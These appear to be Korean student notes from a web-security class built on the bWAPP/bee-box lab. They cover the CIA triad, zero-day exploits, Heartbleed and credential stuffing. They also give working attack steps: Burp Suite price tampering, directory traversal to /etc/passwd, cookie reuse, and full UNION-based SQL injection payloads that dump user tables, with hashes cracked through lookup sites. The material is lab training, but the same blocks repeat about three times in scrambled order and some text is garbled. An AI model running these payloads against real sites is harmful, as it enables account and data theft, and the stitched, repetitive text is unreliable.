a부터 f까지의(g이후로는 없음) 알파벳과 0-9ᄁᆞ지 숫자로 이루어져 있음. hex-decimal(16진수)

그러면 16진수는 24승이므로 4bit(각 자리가 4bit) 16진수가 40자리 * 4bit = 160bit(160비트로 나오는 것 중 대표적인게, SHA-1의 해시값, ECC160bit 등등)

 

왜 내가 만든 패스워드는 못 찾을ᄁᆞ?

- hashes.com에서 모든 해시값을 만들 수 없기 떄문에 자주 사용하는 단어들에 대해서만 해시값을 저장해놓고, 일치하는 해시값이 있으면 원문을 알려주는 방식

새로 만든 패스워드나 어렵게 만든 패스워드에 대한 해시값은 없기 때문에 찾을 수가 없는 것

https://crackstation.net/

 

salt를 섞은지 아닌지 알 수 있는가? hashes.com에 안나오면 salt를 섞은 것

 

Dictionary: 자주 사용하는 단어들을 모아놓은 파일, 주로 패시워드를 크래킹할떄 사용한다.

참고) window에서 lcp에서 딕셔너리가 들어있다.

 

보안이 강한 해시함수 중에서 MD5(128bit), SHA-1(160bit)은 안전하지 않으니, SHA-2(256bit): 비트코인, 공인인증서 등 SHA-2(512bit)는 리눅스 운영체제 등에서 사용되고 있다.

해시값이 길수록 안전하다 경우의 수가 늘어나기 떄문에

 

cat /etc/ shadowsalt, 해쉬값이 들어있다.

 

 

* 정보보호의 3요소

기밀성(confidentiality) : 내용이 노출되지 않도록 하는 것

무결성(integrity): 내용이 변조되지 않도록 하는 것

가용성(availability): 항상 사용가능한 상태를 유지하는 것

 

일반기업(사기업)은 기밀성> 무결성> 가용성

ex) 설계도(제조사), 개인정보(쇼핑몰 등), 영업비밀(마케팅, 물류 등)

암호화, 업무 분장(job seperation) 한 사람이 너무 많은 권한을 가지고 있으면 부패한다.

망분리(운용망과 인터넷을 분리)

공기업, 공공기관은 가용성> 무결성> 기밀성

ex) 항만, 철도, 공항, 통신(인터넷, 전화), 전력, 정부기관망 등등

중간에 잘못돼서 연결이 안되면 큰일남 ex) 전기가 중간에 안되면 큰일남

전쟁을 전후로 사회 인프라를 공격하는 시도

 

보안 개발 생명 주기

life cycle: 너무 오래된 sw는 취약점이 많아지기 떄문에 노후화되면 폐기해야 한다.

하나의 sw/웹사이트를 만들면, 6-7년 정도 사용하고 지나가면 차세대 시스템 사업(교체)

: 은행 포함, 공공기관 사이트들의 개선 작업

 

사용자 인터페이스는 그대로 두고 내부를 바꾼다던지 그런 경우도 있고, 내부는 그대로 있고, 외부 인터페이스를 바꾸는 경우도 있다.

 

 

# 실습

 

시나리오 #2: 영화관 체인은 단체 예약 할인을 허용하고 보증금을 요구하기 전에 최대 15명의 참석자

가 있습니다. 공격자는 이 흐름을 모델링하고 몇 번의 요청으로 600석과 모든 영화관을 한 번에 예약

할 수 있는지 테스트하여 막대한 수입 손실을 초래할 수 있다고 위협할 수 있습니다.

 

문제) 어떻게 하면 1유로에 영화를 볼 수 있겠는가?

방법1) 관리자 도구(F12)

hidden으로 설정되어 있어서 계산한 값이 나오지 않는다.

방법2) proxy burp suite를 이용

인터넷 옵션> 연결> lan연결 > 프락시 서버 체크(127.0.0.1: 8080)

beebox: A4 Insecure DOR (Order Tickets)

proxy:intercept on 값 변경(ticket_quantity=500&ticket_price=0.001&action=order)

 

* 최근에는 CMS(Contents management system)를 도입한 회사들이 많이 있음.

가격이 변조되지 않았는지, 가격이 비정상적으로 처리되지 않았는지 이러한 것들을 확인하는 시스템

지금은 웬만한 대기업들은 다 구성되어 있다.

 

beebox실습 A7의 첫 번쨰

/directory traversal directories/

디렉터리가 그대로 노출되고 있음

웹 쉘을 업로드 하고, 웹 쉘 업로드한 경로를 찾기 어려웅때 디렉터리가 그대로 노출되면 쉽게 실행 가능

/home/ Wolverine 디렉터리에 있는 PDF파일은 몇 개일ᄁᆞ?

URL의 뭐리에 디렉터리 경로를 입력함 ?directory=/home/wilverine/Examples

$cd /home/wolverine/Examples

$ls *.pdf

 

BEEBOX실습 A7의 두 번쨰

/etc/passwd에 보면 neoUID는 무엇인가?

?page=/etc/passwd

$ cd /etc

$ vi passwd

 

* 디렉터리가 노출되는 사이트의 특징

index.of

parent directory

검색어에 넣으면 디렉터리가 노출되는 사이트를 보여줌.

 

 

Zeroday Exploit(23시간)
그런데 알려지지 않은 취약점이 있다
제조사가 아직 모르는 상태라서 패치가 아직 없다.
취약점을 발표하고 24시간
무방비 상태에서 공격을 하는 것
제조사가 패치를 만들기 전 (PoC이전, 패치를 만드는 중, 패치를 만들었는데 취약점이 사라지지 않는 경우) 이런 경우가 패치가 나오기 전 상태
패치를 만드는데 걸리는 시간 ? 보통 평균 25-50일 정도
왜이렇게 오래 걸려? 오늘 취약점이 나왔는데, 담당자 미팅이 가능한가? 알 수 없다. 그래서 어떤 취약점인지 파악할 수 없다. 담당자와 약속시간을 맞출 수 없기 때문에 늦어짐(poc단계) + 파악하고 설계자한테 넘겨줄려고 했더니 설계자하고도 약속시간을 맞출 수 없다. + 개발자도 약속 시간을 맞추기 어렵다. + 테스터도 약속시간을 맞추기 어렵다 + 취약점이 맞지 않는다면 또 테스터에게 가서 검사를 받고 이런 식으로 되돌아 간다. 그러면 패치만드는 동안 뉴스에 나오지 않기 위해 엠바고를 건다.
, 중간에 거쳐야할 전문가들이 너무 많다.


- 다크 웹에서 고액으로 거래가 되기도 한다.(iPhone > Windows> ....)
제일 비싼 취약점은 아이폰...
Oneday Exploit
알려진 취약점
패치 나와있음
설치 안하면 공격 가능


패치가 있는데 왜 적용하지 않는가? 의존성(Dependancy)문제 os를 업데이트하면 app은 돌아가지 않을 수 있다. 그러면 엉망이되기 때문에 이런 것 떄문에 의존성 문제 발생(os업데이트 문제)
에러 발생시 엄청난 손실이 발생할 우려
version: 3.2.8(3: 업그레이드, 2:업데이트, 8:패치)

 

약점

약점은 항상 존재한다.(없어지지 않음)

약점 번호체계: CWE-nnnnn

 

취약점

약점 중에 특정 버전에서 특히 심각한 손상을 입힐 수 있는 부분을 취약점(vulberability, vulns)이라고 한다.

취약점 중에서 특히 실제 공격이 가능하면 Exploit이라 한다. (exploit은 취약점을 의미한다.)

 

shodan: IoT기기를 검색하는 검색 엔진

취약한 IOT기기를 검색하거나 id/ pw가 취약한 장치를 파악할 때 사용

 

shodan.io 사이트에 접근하지 못하도록 차단하는 것이 좋은가?

그러면 눈가리고 하늘을 보는 것, 즉 바보같은 행동 전세계 사람들은 shodan을 이용해서 우리나라의 취약점을 보는데, 우리나라만 못본다면 바보같은 행동임.

 

하트블리드 취약점

오픈 ssl특정 버전에 존재하는 취약점

 

1. 해커가 '감자'라고 두 글자로 대답하면 서버는 감자라고 대답함.

2. 해커가 모자라고 500글자 대답해봐 라고 서버에게 전하면 서버는 모자는 두 글자인데 500자로 어떻게 대답을 할까?

3. 그러면 서버는 모자를 포함에 메모리 번지도 대답을 한다. 그런데 이 메모리 번지안에는 비밀번호가 포함될 수 있기 때문에 정보를 유출당할 수 있다. (tmi기법)

 

Credential stuffing

취약한 사이트에서 여러 사람의 id/pw 목록을 알아낸다.

이것을 다른 사이트에 대입한다.

공격이 가능한 이유는? 대부분의 사람들이 여러 사이트에 같은 아이디와 패스워드를 사용하기 떄문에

대응 방법: 강력한 보안 솔루션 사용(x) 사용자들이 사이트마다 서로 다른 id/pw를 사용해야 함.

 

인증(authentication)

beebox A2 세 번째

 

A6/Base64 Encoding(Secret)/

1) low

쿠키에 숨어있는 내용은?

쿠키값 utf-8 base64 디코더 any bugs?

 

broken auth.-logout management

1) low

로그아웃한 이후에 쿠키를 재사용해보기(쿠키 재사용 공격)

로그아웃하기 전에 쿠키값을 복사

로그아웃 클릭

쿠키를 임의의 값으로 교체하고 저장

login.php를 지우고 엔터 로그인하라고 나옴

쿠키값을 다시 입력하고 첫 페이지를 클릭하면 welcome blackpink라고 나옴 쿠키값을 재사용하고 있음.A1.injection

/SQL Injection(get/search)

 

* 우리가 알아야할 것 : 모든 계정에 대한 idpw를 알아내려면?

DB이름, 테이블이름, 컬럼 이름을 알아내야 한다. select문을 사용해야 한다.(조회)

그럴려면 Search for a movie에서 select문을 예상해야 한다.

SELECT ?,? FROM ?,? WHERE movie=’ ‘;

이런 select문을 가질 것이다 라고 예상. movie를 어ᄄᅠᇂ게 채울 것인가?

앞에 select문이 있는데, 뒤에 select문을 쓸려면 ? UNION으로 연결을 한다.

SELECT ~~~~~ UNION SELECT ~~~~~~~~ ;

 

ex) 우리 동내라는 테이블이 있는데, 우리 동내는 회사원도 있고, 학생도 있다. 어ᄄᅠᆫ 사람은 학생이면서 회사원도 있을 수 있다. 이렇게 하면 학생도 골라지고, 회사원도 골라주고, 학생이면서 회사원도 골라진다.

조건이 필요!

앞의 select문에서 요청한 컬럼의 개수와 뒤의 select문에서 요청한 컬럼의 개수가 일치해야 한다.

앞에서 하나 요청하면 뒤에도 하나를 요청하고 뒤에서 두 개 요청했으면 앞에서도 두 개 요청해야 나다.

 

SELECT ?,? FROM ?,? WHERE movie=’ ‘;

SELECT ?,? FROM ?,? WHERE movie=‘UNION SELECT~~~‘; //union을 사용하려고 보니까 앞의 컬럼개수를 모르는 상황 다 넣어본다

SELECT ?,? FROM ?,? WHERE movie=‘UNION SELECT 1 #‘; // 한 개가 아니면 different number of columns라고 나온다. 그러면 두 개를 요청해본다

SELECT ?,? FROM ?,? WHERE movie=‘UNION SELECT 1,2 #‘;. // 이것도 에러날 수 있는데 이렇게 4개ᄁᆞ지 가면 select문이 그냥 실행된다.(앞에도 4, 뒤에도 4)

* 앞에서 요청한 개수에 ᄄᆞ라서 컬럼 개수를 요청해야 한다.

 

‘ union select 1,2,3,4,5 #

‘ union select 1,2,3,4,5,6,7 # // 이렇게 하면 167은 나오지 않는다. 요청한 컬럼 중에서 일부는 hidden, 일부만 보여진다. 그러면 우리가 앞으로 요청하는 값들은 (볼려는 값들은) 2,3,4,5에 넣어야 한다.

 

man’ union select 1,2,3,4,5,6,7 # // 합집합 개념이므로 man이 포함된 영화가 나오고 우리가 요청한 컬럼도 나온다.

thor’ union select 1,2,3,4,5,6,7 # //thor라는 영화가 없어서 Null상태, 우리가 요청한 컬럼이 나옴

0‘ union select 1,2,3,4,5,6,7 # // 0이 들어가는 영화가 나온다. 300이라는 영화가 있으면 300영화랑 우리가 요청한 컬럼이 나온다.

1‘ union select 1,2,3,4,5,6,7 # // 1이 들어가는 영화가 나온다.

 

-DB명을 알아내려면?

어제 내부함수를 설명했는데, (내부함수: database()DB명을 알려준다. version()MYSQL버전을 알려준다. user()는 사용자 이름)

 

1' union select 1, database(), version(), 4, user(), 6, 7 #

titleDB, 버전은 취약점에는 특정 버전에만 존재하기 때문에 버전을 알려는 것은 취약점이 뭐다라는 것을 알려고 하는 것이다. 버전만 보고 취약점이 있는지 없는지는 어떻게 알까? 모든 정보는 구글이 알고 있다.

(취약점 분석 == 버전을 알아낸다.) 해당 버전에 해당하는 취약점을 매칭시킴

 

DB: bWAPP

 

2. 테이블명을 알아내려면?

1‘ union select 1.table_name,3,4,5,6,7 from information_schema.tables #

// 테이블 이름이 너무 많이 나온다.

1' union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema='bWAPP' #

 

USER라는 테이블이 있는데, 여기에 개인정보가 가득 들어있다.

 

컬럼명을 알아내려면?

1' union select 1,column_name,3,4,5,6,7 from information_schema.columns # //컬럼이름이 너무 많이 나옴.

1' union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_schema=’bWAPP‘ and table_name=’users‘ #

사용자들이 만든 컬럼은 소문자

 

 

 

 

+--------------------+

| Database |

+--------------------+

| information_schema |

| bWAPP |

| drupageddon |

| mysql |

+--------------------+

4 rows in set (0.00 sec)

 

bwapp, mysql...등 이러한 데이터베이스는 information_schema에 들어있다.

 

use bWAPP; //bWAPP이란 DB를 사용해야겠다는 의미

show tables; // 어ᄄᅠᆫ 테이블이 있는지 확인

+-----------------+

| Tables_in_bWAPP |

+-----------------+

| blog |

| heroes |

| movies |

| users |

| visitors |

+-----------------+

5 rows in set (0.00 sec)

desc users; //users라는 테이블에 어떤 컬럼이 있는가?

select * from users;

select * from heroes;

select * from blog;

use information_schema;

show tables;

 

desc tables; // tables라는 테이블의 컬럼 목록 보기

table_schema라는 컬럼과 table_name이라는 컬럼이 있음.

desc columns;

table_schema, table_name, column_name이라는 칼럼이 있다.

 

참고) WHERE조건절에서 descdescend의 약자 (: 하강하다) asc(ascend: 상승하다)

 

order by로 컬럼 개수 알아내기

0‘ order by 1 #

0‘ order by 2 #

0‘ order by 3 #

0‘ order by 4 #

....

0‘ order by 8 # //오류발생 7개구나!

 

우리가 원하는 컬럼은??

1‘ union select 1, column_name, 3,4,5,6,7 from information_schema.columns where table_schema=’bWAPP‘ and table_name=’users‘ #

------> id, login, password, secret

 

컬럼 내용을 보려면? 테이블명은 users

 

1’union select 1,id, login, secret, password, 6,7 from users #

해시값으로 저장되어 있는데, 평문으로 출력

테이블명이 heroes에서 컬럼의 내용을 보려면?

1’ union select 1,id, login, secret, password, 6,7 from heroes #

 

평문으로 저장되어 있어서 해시값으로 출력(sqlt를 섞지 않음.)

 

원래는 해시값을 가지고 원문(패스워드)을 알 수 없음. 그러나 미리 이걸 누가 계산을 해두면? hashes.com //해시값을 계산해주는 사이트, 해시값을 물어보면 원문 패스워드를 알려줌, salt 없는 것만 됨.

 

6885858486f31043e5839c735d99457f045affd0:bug // 비밀번호는 bug

afbde7f7fa09cbce5e05218dc901d49351758176:icecream //비밀번호는 icecreamm

 

이게 해시값인지 어떻게 알았는가?

a부터 f까지의(g이후로는 없음) 알파벳과 0-9ᄁᆞ지 숫자로 이루어져 있음. hex-decimal(16진수)

그러면 16진수는 24승이므로 4bit(각 자리가 4bit) 16진수가 40자리 * 4bit = 160bit(160비트로 나오는 것 중 대표적인게, SHA-1의 해시값, ECC160bit 등등)

 

왜 내가 만든 패스워드는 못 찾을ᄁᆞ?

- hashes.com에서 모든 해시값을 만들 수 없기 떄문에 자주 사용하는 단어들에 대해서만 해시값을 저장해놓고, 일치하는 해시값이 있으면 원문을 알려주는 방식

새로 만든 패스워드나 어렵게 만든 패스워드에 대한 해시값은 없기 때문에 찾을 수가 없는 것

https://crackstation.net/

 

salt를 섞은지 아닌지 알 수 있는가? hashes.com에 안나오면 salt를 섞은 것

 

Dictionary: 자주 사용하는 단어들을 모아놓은 파일, 주로 패시워드를 크래킹할떄 사용한다.

참고) window에서 lcp에서 딕셔너리가 들어있다.

 

보안이 강한 해시함수 중에서 MD5(128bit), SHA-1(160bit)은 안전하지 않으니, SHA-2(256bit): 비트코인, 공인인증서 등 SHA-2(512bit)는 리눅스 운영체제 등에서 사용되고 있다.

해시값이 길수록 안전하다 경우의 수가 늘어나기 떄문에

 

cat /etc/ shadowsalt, 해쉬값이 들어있다.

 

 

* 정보보호의 3요소

기밀성(confidentiality) : 내용이 노출되지 않도록 하는 것

무결성(integrity): 내용이 변조되지 않도록 하는 것

가용성(availability): 항상 사용가능한 상태를 유지하는 것

 

일반기업(사기업)은 기밀성> 무결성> 가용성

ex) 설계도(제조사), 개인정보(쇼핑몰 등), 영업비밀(마케팅, 물류 등)

암호화, 업무 분장(job seperation) 한 사람이 너무 많은 권한을 가지고 있으면 부패한다.

망분리(운용망과 인터넷을 분리)

공기업, 공공기관은 가용성> 무결성> 기밀성

ex) 항만, 철도, 공항, 통신(인터넷, 전화), 전력, 정부기관망 등등

중간에 잘못돼서 연결이 안되면 큰일남 ex) 전기가 중간에 안되면 큰일남

전쟁을 전후로 사회 인프라를 공격하는 시도

 

보안 개발 생명 주기

life cycle: 너무 오래된 sw는 취약점이 많아지기 떄문에 노후화되면 폐기해야 한다.

하나의 sw/웹사이트를 만들면, 6-7년 정도 사용하고 지나가면 차세대 시스템 사업(교체)

: 은행 포함, 공공기관 사이트들의 개선 작업

 

사용자 인터페이스는 그대로 두고 내부를 바꾼다던지 그런 경우도 있고, 내부는 그대로 있고, 외부 인터페이스를 바꾸는 경우도 있다.

 

 

# 실습

 

시나리오 #2: 영화관 체인은 단체 예약 할인을 허용하고 보증금을 요구하기 전에 최대 15명의 참석자

가 있습니다. 공격자는 이 흐름을 모델링하고 몇 번의 요청으로 600석과 모든 영화관을 한 번에 예약

할 수 있는지 테스트하여 막대한 수입 손실을 초래할 수 있다고 위협할 수 있습니다.

 

문제) 어떻게 하면 1유로에 영화를 볼 수 있겠는가?

방법1) 관리자 도구(F12)

hidden으로 설정되어 있어서 계산한 값이 나오지 않는다.

방법2) proxy burp suite를 이용

인터넷 옵션> 연결> lan연결 > 프락시 서버 체크(127.0.0.1: 8080)

beebox: A4 Insecure DOR (Order Tickets)

proxy:intercept on 값 변경(ticket_quantity=500&ticket_price=0.001&action=order)

 

* 최근에는 CMS(Contents management system)를 도입한 회사들이 많이 있음.

가격이 변조되지 않았는지, 가격이 비정상적으로 처리되지 않았는지 이러한 것들을 확인하는 시스템

지금은 웬만한 대기업들은 다 구성되어 있다.

 

beebox실습 A7의 첫 번쨰

/directory traversal directories/

디렉터리가 그대로 노출되고 있음

웹 쉘을 업로드 하고, 웹 쉘 업로드한 경로를 찾기 어려웅때 디렉터리가 그대로 노출되면 쉽게 실행 가능

/home/ Wolverine 디렉터리에 있는 PDF파일은 몇 개일ᄁᆞ?

URL의 뭐리에 디렉터리 경로를 입력함 ?directory=/home/wilverine/Examples

$cd /home/wolverine/Examples

$ls *.pdf

 

BEEBOX실습 A7의 두 번쨰

/etc/passwd에 보면 neoUID는 무엇인가?

?page=/etc/passwd

$ cd /etc

$ vi passwd

 

* 디렉터리가 노출되는 사이트의 특징

index.of

parent directory

검색어에 넣으면 디렉터리가 노출되는 사이트를 보여줌.

 

 

Zeroday Exploit(23시간)
그런데 알려지지 않은 취약점이 있다
제조사가 아직 모르는 상태라서 패치가 아직 없다.
취약점을 발표하고 24시간
무방비 상태에서 공격을 하는 것
제조사가 패치를 만들기 전 (PoC이전, 패치를 만드는 중, 패치를 만들었는데 취약점이 사라지지 않는 경우) 이런 경우가 패치가 나오기 전 상태
패치를 만드는데 걸리는 시간 ? 보통 평균 25-50일 정도
왜이렇게 오래 걸려? 오늘 취약점이 나왔는데, 담당자 미팅이 가능한가? 알 수 없다. 그래서 어떤 취약점인지 파악할 수 없다. 담당자와 약속시간을 맞출 수 없기 때문에 늦어짐(poc단계) + 파악하고 설계자한테 넘겨줄려고 했더니 설계자하고도 약속시간을 맞출 수 없다. + 개발자도 약속 시간을 맞추기 어렵다. + 테스터도 약속시간을 맞추기 어렵다 + 취약점이 맞지 않는다면 또 테스터에게 가서 검사를 받고 이런 식으로 되돌아 간다. 그러면 패치만드는 동안 뉴스에 나오지 않기 위해 엠바고를 건다.
, 중간에 거쳐야할 전문가들이 너무 많다.


- 다크 웹에서 고액으로 거래가 되기도 한다.(iPhone > Windows> ....)
제일 비싼 취약점은 아이폰...
Oneday Exploit
알려진 취약점
패치 나와있음
설치 안하면 공격 가능


패치가 있는데 왜 적용하지 않는가? 의존성(Dependancy)문제 os를 업데이트하면 app은 돌아가지 않을 수 있다. 그러면 엉망이되기 때문에 이런 것 떄문에 의존성 문제 발생(os업데이트 문제)
에러 발생시 엄청난 손실이 발생할 우려
version: 3.2.8(3: 업그레이드, 2:업데이트, 8:패치)

 

약점

약점은 항상 존재한다.(없어지지 않음)

약점 번호체계: CWE-nnnnn

 

취약점

약점 중에 특정 버전에서 특히 심각한 손상을 입힐 수 있는 부분을 취약점(vulberability, vulns)이라고 한다.

취약점 중에서 특히 실제 공격이 가능하면 Exploit이라 한다. (exploit은 취약점을 의미한다.)

 

shodan: IoT기기를 검색하는 검색 엔진

취약한 IOT기기를 검색하거나 id/ pw가 취약한 장치를 파악할 때 사용

 

shodan.io 사이트에 접근하지 못하도록 차단하는 것이 좋은가?

그러면 눈가리고 하늘을 보는 것, 즉 바보같은 행동 전세계 사람들은 shodan을 이용해서 우리나라의 취약점을 보는데, 우리나라만 못본다면 바보같은 행동임.

 

하트블리드 취약점

오픈 ssl특정 버전에 존재하는 취약점

 

1. 해커가 '감자'라고 두 글자로 대답하면 서버는 감자라고 대답함.

2. 해커가 모자라고 500글자 대답해봐 라고 서버에게 전하면 서버는 모자는 두 글자인데 500자로 어떻게 대답을 할까?

3. 그러면 서버는 모자를 포함에 메모리 번지도 대답을 한다. 그런데 이 메모리 번지안에는 비밀번호가 포함될 수 있기 때문에 정보를 유출당할 수 있다. (tmi기법)

 

Credential stuffing

취약한 사이트에서 여러 사람의 id/pw 목록을 알아낸다.

이것을 다른 사이트에 대입한다.

공격이 가능한 이유는? 대부분의 사람들이 여러 사이트에 같은 아이디와 패스워드를 사용하기 떄문에

대응 방법: 강력한 보안 솔루션 사용(x) 사용자들이 사이트마다 서로 다른 id/pw를 사용해야 함.

 

인증(authentication)

beebox A2 세 번째

 

A6/Base64 Encoding(Secret)/

1) low

쿠키에 숨어있는 내용은?

쿠키값 utf-8 base64 디코더 any bugs?

 

broken auth.-logout management

1) low

로그아웃한 이후에 쿠키를 재사용해보기(쿠키 재사용 공격)

로그아웃하기 전에 쿠키값을 복사

로그아웃 클릭

쿠키를 임의의 값으로 교체하고 저장

login.php를 지우고 엔터 로그인하라고 나옴

쿠키값을 다시 입력하고 첫 페이지를 클릭하면 welcome blackpink라고 나옴 쿠키값을 재사용하고 있음./SQL Injection(get/search)

 

* 우리가 알아야할 것 : 모든 계정에 대한 idpw를 알아내려면?

DB이름, 테이블이름, 컬럼 이름을 알아내야 한다. select문을 사용해야 한다.(조회)

그럴려면 Search for a movie에서 select문을 예상해야 한다.

SELECT ?,? FROM ?,? WHERE movie=’ ‘;

이런 select문을 가질 것이다 라고 예상. movie를 어ᄄᅠᇂ게 채울 것인가?

앞에 select문이 있는데, 뒤에 select문을 쓸려면 ? UNION으로 연결을 한다.

SELECT ~~~~~ UNION SELECT ~~~~~~~~ ;

 

ex) 우리 동내라는 테이블이 있는데, 우리 동내는 회사원도 있고, 학생도 있다. 어ᄄᅠᆫ 사람은 학생이면서 회사원도 있을 수 있다. 이렇게 하면 학생도 골라지고, 회사원도 골라주고, 학생이면서 회사원도 골라진다.

조건이 필요!

앞의 select문에서 요청한 컬럼의 개수와 뒤의 select문에서 요청한 컬럼의 개수가 일치해야 한다.

앞에서 하나 요청하면 뒤에도 하나를 요청하고 뒤에서 두 개 요청했으면 앞에서도 두 개 요청해야 나다.

 

SELECT ?,? FROM ?,? WHERE movie=’ ‘;

SELECT ?,? FROM ?,? WHERE movie=‘UNION SELECT~~~‘; //union을 사용하려고 보니까 앞의 컬럼개수를 모르는 상황 다 넣어본다

SELECT ?,? FROM ?,? WHERE movie=‘UNION SELECT 1 #‘; // 한 개가 아니면 different number of columns라고 나온다. 그러면 두 개를 요청해본다

SELECT ?,? FROM ?,? WHERE movie=‘UNION SELECT 1,2 #‘;. // 이것도 에러날 수 있는데 이렇게 4개ᄁᆞ지 가면 select문이 그냥 실행된다.(앞에도 4, 뒤에도 4)

* 앞에서 요청한 개수에 ᄄᆞ라서 컬럼 개수를 요청해야 한다.

 

‘ union select 1,2,3,4,5 #

‘ union select 1,2,3,4,5,6,7 # // 이렇게 하면 167은 나오지 않는다. 요청한 컬럼 중에서 일부는 hidden, 일부만 보여진다. 그러면 우리가 앞으로 요청하는 값들은 (볼려는 값들은) 2,3,4,5에 넣어야 한다.

 

man’ union select 1,2,3,4,5,6,7 # // 합집합 개념이므로 man이 포함된 영화가 나오고 우리가 요청한 컬럼도 나온다.

thor’ union select 1,2,3,4,5,6,7 # //thor라는 영화가 없어서 Null상태, 우리가 요청한 컬럼이 나옴

0‘ union select 1,2,3,4,5,6,7 # // 0이 들어가는 영화가 나온다. 300이라는 영화가 있으면 300영화랑 우리가 요청한 컬럼이 나온다.

1‘ union select 1,2,3,4,5,6,7 # // 1이 들어가는 영화가 나온다.

 

-DB명을 알아내려면?

어제 내부함수를 설명했는데, (내부함수: database()DB명을 알려준다. version()MYSQL버전을 알려준다. user()는 사용자 이름)

 

1' union select 1, database(), version(), 4, user(), 6, 7 #

titleDB, 버전은 취약점에는 특정 버전에만 존재하기 때문에 버전을 알려는 것은 취약점이 뭐다라는 것을 알려고 하는 것이다. 버전만 보고 취약점이 있는지 없는지는 어떻게 알까? 모든 정보는 구글이 알고 있다.

(취약점 분석 == 버전을 알아낸다.) 해당 버전에 해당하는 취약점을 매칭시킴

 

DB: bWAPP

 

2. 테이블명을 알아내려면?

1‘ union select 1.table_name,3,4,5,6,7 from information_schema.tables #

// 테이블 이름이 너무 많이 나온다.

1' union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema='bWAPP' #

 

USER라는 테이블이 있는데, 여기에 개인정보가 가득 들어있다.

 

컬럼명을 알아내려면?

1' union select 1,column_name,3,4,5,6,7 from information_schema.columns # //컬럼이름이 너무 많이 나옴.

1' union select 1,column_name,3,4,5,6,7 from information_schema.columns where table_schema=’bWAPP‘ and table_name=’users‘ #

사용자들이 만든 컬럼은 소문자

 

 

 

 

+--------------------+

| Database |

+--------------------+

| information_schema |

| bWAPP |

| drupageddon |

| mysql |

+--------------------+

4 rows in set (0.00 sec)

 

bwapp, mysql...등 이러한 데이터베이스는 information_schema에 들어있다.

 

use bWAPP; //bWAPP이란 DB를 사용해야겠다는 의미

show tables; // 어ᄄᅠᆫ 테이블이 있는지 확인

+-----------------+

| Tables_in_bWAPP |

+-----------------+

| blog |

| heroes |

| movies |

| users |

| visitors |

+-----------------+

5 rows in set (0.00 sec)

desc users; //users라는 테이블에 어떤 컬럼이 있는가?

select * from users;

select * from heroes;

select * from blog;

use information_schema;

show tables;

 

desc tables; // tables라는 테이블의 컬럼 목록 보기

table_schema라는 컬럼과 table_name이라는 컬럼이 있음.

desc columns;

table_schema, table_name, column_name이라는 칼럼이 있다.

 

참고) WHERE조건절에서 descdescend의 약자 (: 하강하다) asc(ascend: 상승하다)

 

order by로 컬럼 개수 알아내기

0‘ order by 1 #

0‘ order by 2 #

0‘ order by 3 #

0‘ order by 4 #

....

0‘ order by 8 # //오류발생 7개구나!

 

우리가 원하는 컬럼은??

1‘ union select 1, column_name, 3,4,5,6,7 from information_schema.columns where table_schema=’bWAPP‘ and table_name=’users‘ #

------> id, login, password, secret

 

컬럼 내용을 보려면? 테이블명은 users

 

1’union select 1,id, login, secret, password, 6,7 from users #

해시값으로 저장되어 있는데, 평문으로 출력

테이블명이 heroes에서 컬럼의 내용을 보려면?

1’ union select 1,id, login, secret, password, 6,7 from heroes #

 

평문으로 저장되어 있어서 해시값으로 출력(sqlt를 섞지 않음.)

 

원래는 해시값을 가지고 원문(패스워드)을 알 수 없음. 그러나 미리 이걸 누가 계산을 해두면? hashes.com //해시값을 계산해주는 사이트, 해시값을 물어보면 원문 패스워드를 알려줌, salt 없는 것만 됨.

 

6885858486f31043e5839c735d99457f045affd0:bug // 비밀번호는 bug

afbde7f7fa09cbce5e05218dc901d49351758176:icecream //비밀번호는 icecreamm

 

이게 해시값인지 어떻게 알았는가?

a부터 f까지의(g이후로는 없음) 알파벳과 0-9ᄁᆞ지 숫자로 이루어져 있음. hex-decimal(16진수)

그러면 16진수는 24승이므로 4bit(각 자리가 4bit) 16진수가 40자리 * 4bit = 160bit(160비트로 나오는 것 중 대표적인게, SHA-1의 해시값, ECC160bit 등등)

 

왜 내가 만든 패스워드는 못 찾을ᄁᆞ?

- hashes.com에서 모든 해시값을 만들 수 없기 떄문에 자주 사용하는 단어들에 대해서만 해시값을 저장해놓고, 일치하는 해시값이 있으면 원문을 알려주는 방식

새로 만든 패스워드나 어렵게 만든 패스워드에 대한 해시값은 없기 때문에 찾을 수가 없는 것

https://crackstation.net/

 

salt를 섞은지 아닌지 알 수 있는가? hashes.com에 안나오면 salt를 섞은 것

 

Dictionary: 자주 사용하는 단어들을 모아놓은 파일, 주로 패시워드를 크래킹할떄 사용한다.

참고) window에서 lcp에서 딕셔너리가 들어있다.

 

보안이 강한 해시함수 중에서 MD5(128bit), SHA-1(160bit)은 안전하지 않으니, SHA-2(256bit): 비트코인, 공인인증서 등 SHA-2(512bit)는 리눅스 운영체제 등에서 사용되고 있다.

해시값이 길수록 안전하다 경우의 수가 늘어나기 떄문에

 

cat /etc/ shadowsalt, 해쉬값이 들어있다.

 

 

* 정보보호의 3요소

기밀성(confidentiality) : 내용이 노출되지 않도록 하는 것

무결성(integrity): 내용이 변조되지 않도록 하는 것

가용성(availability): 항상 사용가능한 상태를 유지하는 것

 

일반기업(사기업)은 기밀성> 무결성> 가용성

ex) 설계도(제조사), 개인정보(쇼핑몰 등), 영업비밀(마케팅, 물류 등)

암호화, 업무 분장(job seperation) 한 사람이 너무 많은 권한을 가지고 있으면 부패한다.

망분리(운용망과 인터넷을 분리)

공기업, 공공기관은 가용성> 무결성> 기밀성

ex) 항만, 철도, 공항, 통신(인터넷, 전화), 전력, 정부기관망 등등

중간에 잘못돼서 연결이 안되면 큰일남 ex) 전기가 중간에 안되면 큰일남

전쟁을 전후로 사회 인프라를 공격하는 시도

 

보안 개발 생명 주기

life cycle: 너무 오래된 sw는 취약점이 많아지기 떄문에 노후화되면 폐기해야 한다.

하나의 sw/웹사이트를 만들면, 6-7년 정도 사용하고 지나가면 차세대 시스템 사업(교체)

: 은행 포함, 공공기관 사이트들의 개선 작업

 

사용자 인터페이스는 그대로 두고 내부를 바꾼다던지 그런 경우도 있고, 내부는 그대로 있고, 외부 인터페이스를 바꾸는 경우도 있다.

 

 

# 실습

 

시나리오 #2: 영화관 체인은 단체 예약 할인을 허용하고 보증금을 요구하기 전에 최대 15명의 참석자

가 있습니다. 공격자는 이 흐름을 모델링하고 몇 번의 요청으로 600석과 모든 영화관을 한 번에 예약

할 수 있는지 테스트하여 막대한 수입 손실을 초래할 수 있다고 위협할 수 있습니다.

 

문제) 어떻게 하면 1유로에 영화를 볼 수 있겠는가?

